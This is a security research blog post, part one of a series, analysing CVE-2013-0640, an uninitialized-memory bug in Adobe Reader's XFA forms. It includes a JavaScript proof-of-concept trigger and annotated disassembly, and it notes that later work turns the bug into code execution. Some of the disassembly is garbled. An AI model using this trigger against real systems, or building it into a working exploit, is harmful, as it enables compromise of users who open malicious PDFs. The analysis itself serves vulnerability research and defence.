



Phone UK: +44 20 8868 0098 Phone US: +1 415 874 3101

Home

Bloa

Presentations

Tools

Whitepapers

Downloads

CVE-2013-0640: Adobe Reader XFA oneOfChild Un-initialized memory vulnerability (part 1)



Published 26/09/2013 | By MTB











This document aims to present a technical report of the CVE-2013-0640 vulnerability targeting Adobe Reader version 9, 10 and 11. It was first spotted in February 2013 and has been used actively in the wild. This is the first article of a set. It covers the full detailed analysis of the bug.

Adobe Reader is an application software developed by Adobe Systems to view files in Portable Document Format (PDF).

Adobe XML forms architecture (XFA) are XML specifications for forms to be embedded in a PDF document. There were first introduced in the PDF 1.5 file format specification. They are not compatible with AcroForms. The form itself is saved internally in the PDF. There is a bug when dealing with the forms in a specific way.

Binary Information

Name:	AcroForm_api
Base address:	0×20800000
File version:	9.5.0.270
Default path:	C:\Program Files\Adobe\Reader 9.0\Reader\plug_ins\AcroForm.api

Analysis

Trigger

The proof of concept consists of an embedded XFA form that is being manipulated using JavaScript.

The form by itself contains two subforms:

▶ The first contains a choiceList object.



In order to trigger the bug the JavaScript code first saves a reference to the choiceList object for later use. Then it changes the property keep.previous of the draw object in the second subform to contentArea. Once done, the choiceList object is re-attached to the first subform. This triggers the bug.

```
function Trigger
{
    MessWithTheMemory();
    xfa.resolveNode("xfa[0].form[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui").oneOfChild = choiceList;
}
var choiceList = null;
function Start()
{
    choiceList = xfa.resolveNode("xfa[0].form[0].form1[0].#pageSet[0].page1[0].#subform[0].field0[0].#ui[0].#choiceList[0]");
    xfa.resolveNode("xfa[0].form[0].form1[0].#subform[0].rect1").keep.previous = "contentArea";
    ddd = app.setTimeOut("Trigger();", 1);
}
Start();
```

Binary analysis

Adobe Reader crashes in the AcroForm_api module. Just before the crash a function located at address 0x20907FA0 is called. For convenience this function is called UseTheUninitializedValue. First it calls a function at 0x209D76AE named GetTheBrokenObject. It then increments an attribute of the object, probably a reference count. Finally the attribute at 0x3c is evaluated. If is is not NULL a function at 0x209063B4 named crash_here is called using the object attribute at 0x3c.

```
.text:20907FA0 UseTheUninitializedValue
.text:20907FA0
.text:20907FA0 var 10
                          = dword ptr -10h
.text:20907FA0 var 4
                         = dword ptr -4q
.text:20907FA0 arg 0
                         = dword ptr 8
                         = dword ptr 0Ch
.text:20907FA0 arg 4
.text:20907FA0 arg 8
                         = dword ptr 10h
.text:20907FA0
.text:20907FA0
                       push 4
.text:20907FA2
                       mov eax, offset sub 20CE45C9
```

```
text:20907FA7
                                EH prolog3
                               __ebx, ecx
[ebp+var_10], 0
.text:20907FAC
                        mov
.text:20907FAE
                        and
                        push [ebp+arg_8]
lea eax, [ebp+arg_8]
.text:20907FB2
.text:20907FB5
.text:20907FB8
                        push [ebp+arg 4]
.text:20907FBB
                        push eax
                        call GetTheBrokenObject // Get the uninitialized object from here.
.text:20907FBC
.text:20907FC1
                        mov
                              esi. [eax]
                        test esi esi
.text:20907FC3
.text:20907FC5
                        mov [ebp+arg 4], esi
                             short loc 20907FCD
.text:20907FC8
                        inc dword ptr [esi+4] // Reference counter?
.text:20907FCA
.text:20907FCD
.text:20907FCD loc 20907FCD:
                        lea ecx, [ebp+arg_8]
mov [ebp+var 4], 1
.text:20907FCD
.text:20907FD0
                        call sub 208A7FA1
.text:20907FD7
.text:20907FDC
                        mov edi, [ebx+3Ch]
.text:20907FDF
                        test edi, edi
                        iz short loc 20908012
.text:20907FE1
                        cmp dword ptr [esi+3Ch], 0 // If 0, skip the call.
.text:20907FE3
.text:20907FE7
                        iz short loc 20907FF2
                        mov ecx, [esi+3Ch] // Uninitialized memory here.
.text:20907FE9
.text:20907FEC
                        push ebx
.text:20907FED
                        call crash here
```

The value coming from ESI+0x3c is used as a pointer. However the value is invalid, Adobe Reader crashes when dereferencing it.

```
.text:209063B4 crash here
.text:209063B4
.text:209063B4 arg 0
                         = dword ptr 4
.text:209063B4
.text:209063B4
                       push
                              esi
.text:209063B5
                       push edi
                       mov edi, ecx // EDI is invalid.
.text:209063B6
.text:209063B8
                       mov esi, [edi+40h]
                       test esi esi
.text:209063BB
                            short loc 209063FE
.text:209063BD
                       iz
.text:209063FE loc 209063FE:
.text:209063FE
.text:209063FE
                       pop
                             edi
.text:209063FF
                       pop
                             esi
.text:20906400
                       retn 4
.text:20906400 crash here endp
```

In order to find the reason EDI contains an invalid value, we need to go back to the constructor of the object.

It can be found at 0x209D8D71 in a function named InitializeBrokenObject. This function is the constructor of the object. As seen from the disassembled code, the value at 0x3c is never initialized.

.text:209D8D71 InitializeBrokenObiect

```
text:209D8D71
.text:209D8D71 arg 0
                          = dword ptr 4
                          = dword ptr 8
.text:209D8D71 arg 4
.text:209D8D71 arg 8
                          = dword ptr 0Ch
.text:209D8D71
.text:209D8D71
                        push esi
                        push [esp+4+arg 0]
.text:209D8D72
.text:209D8D76
                        mov esi ecx
                        call sub 209E7137 // ECX comes from the second argument.
.text:209D8D78
                       mov ecx, [esp+4+arg_4] // vtable.
mov dword ptr [esi], offset broken_object
.text:209D8D7D
.text:209D8D81
                       mov eax, [ecx]
.text:209D8D87
.text:209D8D89
                        xor edx edx
                        cmp eax, edx
.text:209D8D8B
                        mov [esi+24h], eax
.text:209D8D8D
                             short loc 209D8D95
.text:209D8D90
.text:209D8D92
                             dword ptr [eax+4]
                        inc
.text:209D8D95
.text:209D8D95 loc 209D8D95: // Offset 0x3c is not set.
                              eax, [esp+4+arg_8]
[esi+2Ch], eax
.text:209D8D95
                        mov
.text:209D8D99
                        mov
                               [esi+30h], edx
.text:209D8D9C
                        mov
.text:209D8D9F
                               [esi+34h], edx
                        mov
                               [esi+38h], edx
.text:209D8DA2
                        mov
.text:209D8DA5
                        mov
                              eax, off 20E93D74
.text:209D8DAA
                              dword ptr [esi+28h], 0FFFFFF0h
                        and
.text:209D8DAE
                        mov
                               [esi+0Ch], eax
                              dword ptr [esi+10h], 0C9h
.text:209D8DB1
                        mov
.text:209D8DB8
                        mov
                              ecx, [ecx]
                        cmp ecx edx
.text:209D8DBA
                             short loc 209D8DC1
.text:209D8DBC
.text:209D8DBE
                        mov [ecx+3Ch], esi
.text:209D8DC1
.text:209D8DC1 loc 209D8DC1:
.text:209D8DC1
                        mov
                               eax, esi
.text:209D8DC3
                        pop
                               esi
                             0Ch
.text:209D8DC4
                        retn
.text:209D8DC4 InitializeBrokenObject endp
```

Depending on the previous memory usage, the value at ESI+0x3C may vary. If it is 0, the call is skipped and nothing happens. Otherwise a crash may occur.

Conclusion

This concludes the detailed analysis of the bug. The goal next is to replace the un-initialized data by fully controlled values and to leverage the bug into code execution. This involves a bit of heap massage and it will be the main focus of the second article.

References

- ▶ Adobe's advisory: APSA13-02
- ▶ Download target version: Adobe Acrobat 10 for Windows
- XFA Specification

Request to be added to the Portcullis Labs newsletter		
We will email you whenever a new tool, or post is added to the site.		
Your Name (required)		
Your Email (required)		
Subscribe		

Research and Development

- ► Presentations
- ▶ Tools
- ► Whitepapers
- ► Downloads

Company

- ► Contact Us
- ► Portcullis Computer Security Services

Get In Touch

Offices in London and San Francisco

Phone UK: + 44 20 8868 0098

Fax: UK + 44 20 8868 0017

Email UK: enquiries@portcullis-security.com

Phone US: +1 415 874 3101

Email US: enquiries@portcullis-security.us

Follow Us 🕒 🛅 🚰 🍑

© Portcullis Computer Security Ltd & Portcullis Inc. All rights reserved.

® 1992 - 2014.

Terms of Use | Privacy and Cookies

